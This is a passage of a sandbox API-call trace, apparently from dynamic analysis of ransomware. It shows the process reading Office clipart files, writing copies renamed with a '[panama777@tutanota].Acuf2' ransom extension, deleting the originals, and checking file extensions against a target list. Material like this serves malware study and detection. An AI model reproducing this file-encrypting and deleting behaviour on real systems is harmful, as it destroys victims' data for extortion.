	[0262.907] WriteFile (in: hFile=0x328, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0262.907] SetEndOfFile (hFile=0x328) returned 1
	[0262.907] CloseHandle (hObject=0x328) returned 1
	[0262.907] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.907] SetEndOfFile (hFile=0x35c) returned 1
	[0262.909] CloseHandle (hObject=0x35c) returned 1
	[0262.909] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.036] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf")) returned 1
	[0263.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63
	[0263.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63
	[0263.037] lstrlenW (lpString=".doc") returned 4
	[0263.037] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0263.037] lstrlenW (lpString=".docx") returned 5
	[0263.037] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0263.037] lstrlenW (lpString=".pdf") returned 4
	[0263.037] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0263.037] lstrlenW (lpString=".xls") returned 4
	[0263.037] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0263.037] lstrlenW (lpString=".xlsx") returned 5
	[0263.037] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0263.037] lstrlenW (lpString=".ppt") returned 4
	[0263.037] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0263.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63
	[0263.037] lstrlenW (lpString=".zip") returned 4
	[0263.037] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0263.037] lstrlenW (lpString=".rar") returned 4
	[0263.037] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0263.037] lstrlenW (lpString=".bz2") returned 4
	[0263.037] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0263.037] lstrlenW (lpString=".7z") returned 3
	[0263.037] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0263.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63
	[0263.037] lstrlenW (lpString=".dbf") returned 4
	[0263.037] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0263.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63
	[0263.037] lstrlenW (lpString=".1cd") returned 4
	[0263.037] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0263.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63
	[0263.037] lstrlenW (lpString=".jpg") returned 4
	[0263.037] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0263.077] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=2108) returned 1
	[0263.077] CloseHandle (hObject=0x35c) returned 1
	[0263.077] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf")) returned 0x20
	[0263.158] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0263.166] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.166] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0263.214] GetLastError () returned 0x0
	[0263.214] ReadFile (in: hFile=0x33c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x83c, lpOverlapped=0x0) returned 1
	[0263.288] WriteFile (in: hFile=0x28c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x840, lpOverlapped=0x0) returned 1
	[0263.289] ReadFile (in: hFile=0x33c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.289] WriteFile (in: hFile=0x28c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0263.289] SetEndOfFile (hFile=0x28c) returned 1
	[0263.289] CloseHandle (hObject=0x28c) returned 1
	[0263.289] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.289] SetEndOfFile (hFile=0x33c) returned 1
	[0263.292] CloseHandle (hObject=0x33c) returned 1
	[0263.292] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.332] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf")) returned 1
	[0263.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63
	[0263.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63
	[0263.377] lstrlenW (lpString=".doc") returned 4
	[0263.377] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0263.377] lstrlenW (lpString=".docx") returned 5
	[0263.377] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0263.377] lstrlenW (lpString=".pdf") returned 4
	[0263.377] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0263.377] lstrlenW (lpString=".xls") returned 4
	[0263.377] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0263.377] lstrlenW (lpString=".xlsx") returned 5
	[0263.377] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0263.377] lstrlenW (lpString=".ppt") returned 4
	[0263.377] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0263.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63
	[0263.377] lstrlenW (lpString=".zip") returned 4
	[0263.377] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0263.377] lstrlenW (lpString=".rar") returned 4
	[0263.377] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0263.377] lstrlenW (lpString=".bz2") returned 4
	[0263.377] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0263.378] lstrlenW (lpString=".7z") returned 3
	[0263.378] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0263.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63
	[0263.378] lstrlenW (lpString=".dbf") returned 4
	[0263.378] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0263.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63
	[0263.378] lstrlenW (lpString=".1cd") returned 4
	[0263.378] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0263.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63
	[0263.378] lstrlenW (lpString=".jpg") returned 4
	[0263.378] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0263.380] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=11152) returned 1
	[0263.380] CloseHandle (hObject=0x320) returned 1
	[0263.380] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf")) returned 0x20
	[0263.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0263.415] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.415] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0263.416] GetLastError () returned 0x0
	[0263.416] ReadFile (in: hFile=0x320, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x2b90, lpOverlapped=0x0) returned 1
	[0263.425] WriteFile (in: hFile=0x33c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x2ba0, lpOverlapped=0x0) returned 1
	[0263.430] ReadFile (in: hFile=0x320, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.431] WriteFile (in: hFile=0x33c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0263.431] SetEndOfFile (hFile=0x33c) returned 1
	[0263.431] CloseHandle (hObject=0x33c) returned 1
	[0263.431] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.431] SetEndOfFile (hFile=0x320) returned 1
	[0263.433] CloseHandle (hObject=0x320) returned 1
	[0263.433] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.499] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf")) returned 1
	[0263.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63
	[0263.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63
	[0263.586] lstrlenW (lpString=".doc") returned 4
	[0263.586] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0263.586] lstrlenW (lpString=".docx") returned 5
	[0263.586] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0263.586] lstrlenW (lpString=".pdf") returned 4
	[0263.586] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0263.586] lstrlenW (lpString=".xls") returned 4
	[0263.586] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0263.586] lstrlenW (lpString=".xlsx") returned 5
	[0263.586] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0263.586] lstrlenW (lpString=".ppt") returned 4
	[0263.586] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0263.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63
	[0263.586] lstrlenW (lpString=".zip") returned 4
	[0263.586] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0263.586] lstrlenW (lpString=".rar") returned 4
	[0263.586] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0263.587] lstrlenW (lpString=".bz2") returned 4
	[0263.587] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0263.587] lstrlenW (lpString=".7z") returned 3
	[0263.587] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0263.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63
	[0263.587] lstrlenW (lpString=".dbf") returned 4
	[0263.587] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0263.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63
	[0263.587] lstrlenW (lpString=".1cd") returned 4
	[0263.587] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0263.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63
	[0263.587] lstrlenW (lpString=".jpg") returned 4
	[0263.587] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0263.587] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=42704) returned 1
	[0263.587] CloseHandle (hObject=0x340) returned 1
	[0263.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf")) returned 0x20
	[0263.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0263.588] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.588] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0263.588] GetLastError () returned 0x0
	[0263.588] ReadFile (in: hFile=0x340, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0xa6d0, lpOverlapped=0x0) returned 1
	[0263.621] WriteFile (in: hFile=0x35c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xa6e0, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xa6e0, lpOverlapped=0x0) returned 1
	[0263.622] ReadFile (in: hFile=0x340, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.622] WriteFile (in: hFile=0x35c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0263.622] SetEndOfFile (hFile=0x35c) returned 1
	[0263.622] CloseHandle (hObject=0x35c) returned 1
	[0263.622] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.622] SetEndOfFile (hFile=0x340) returned 1
	[0263.626] CloseHandle (hObject=0x340) returned 1
	[0263.627] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.649] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf")) returned 1
	[0263.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63
	[0263.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63
	[0263.658] lstrlenW (lpString=".doc") returned 4
	[0263.658] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0263.658] lstrlenW (lpString=".docx") returned 5
	[0263.658] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0263.658] lstrlenW (lpString=".pdf") returned 4
	[0263.658] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0263.658] lstrlenW (lpString=".xls") returned 4
	[0263.658] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0263.658] lstrlenW (lpString=".xlsx") returned 5
	[0263.658] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0263.658] lstrlenW (lpString=".ppt") returned 4
	[0263.658] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0263.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63
	[0263.658] lstrlenW (lpString=".zip") returned 4
	[0263.658] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0263.658] lstrlenW (lpString=".rar") returned 4
	[0263.658] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0263.658] lstrlenW (lpString=".bz2") returned 4
	[0263.658] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0263.658] lstrlenW (lpString=".7z") returned 3
	[0263.658] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0263.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63
	[0263.658] lstrlenW (lpString=".dbf") returned 4
	[0263.658] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0263.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63
	[0263.658] lstrlenW (lpString=".1cd") returned 4
	[0263.658] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0263.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63
	[0263.658] lstrlenW (lpString=".jpg") returned 4
	[0263.658] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0263.659] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=1160) returned 1
	[0263.659] CloseHandle (hObject=0x340) returned 1
	[0263.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf")) returned 0x20
	[0263.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0263.659] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.659] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0263.660] GetLastError () returned 0x0
	[0263.660] ReadFile (in: hFile=0x340, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x488, lpOverlapped=0x0) returned 1
	[0263.693] WriteFile (in: hFile=0x35c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x490, lpOverlapped=0x0) returned 1
	[0263.694] ReadFile (in: hFile=0x340, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.694] WriteFile (in: hFile=0x35c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0263.694] SetEndOfFile (hFile=0x35c) returned 1
	[0263.694] CloseHandle (hObject=0x35c) returned 1
	[0263.694] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.694] SetEndOfFile (hFile=0x340) returned 1
	[0263.696] CloseHandle (hObject=0x340) returned 1
	[0263.696] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.696] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf")) returned 1
	[0263.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63
	[0263.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63
	[0263.697] lstrlenW (lpString=".doc") returned 4
	[0263.697] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0263.697] lstrlenW (lpString=".docx") returned 5
	[0263.697] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0263.697] lstrlenW (lpString=".pdf") returned 4
	[0263.697] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0263.697] lstrlenW (lpString=".xls") returned 4
	[0263.697] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0263.697] lstrlenW (lpString=".xlsx") returned 5
	[0263.697] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0263.697] lstrlenW (lpString=".ppt") returned 4
	[0263.697] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0263.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63
	[0263.697] lstrlenW (lpString=".zip") returned 4
	[0263.697] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0263.697] lstrlenW (lpString=".rar") returned 4
	[0263.697] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0263.697] lstrlenW (lpString=".bz2") returned 4
	[0263.697] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0263.697] lstrlenW (lpString=".7z") returned 3
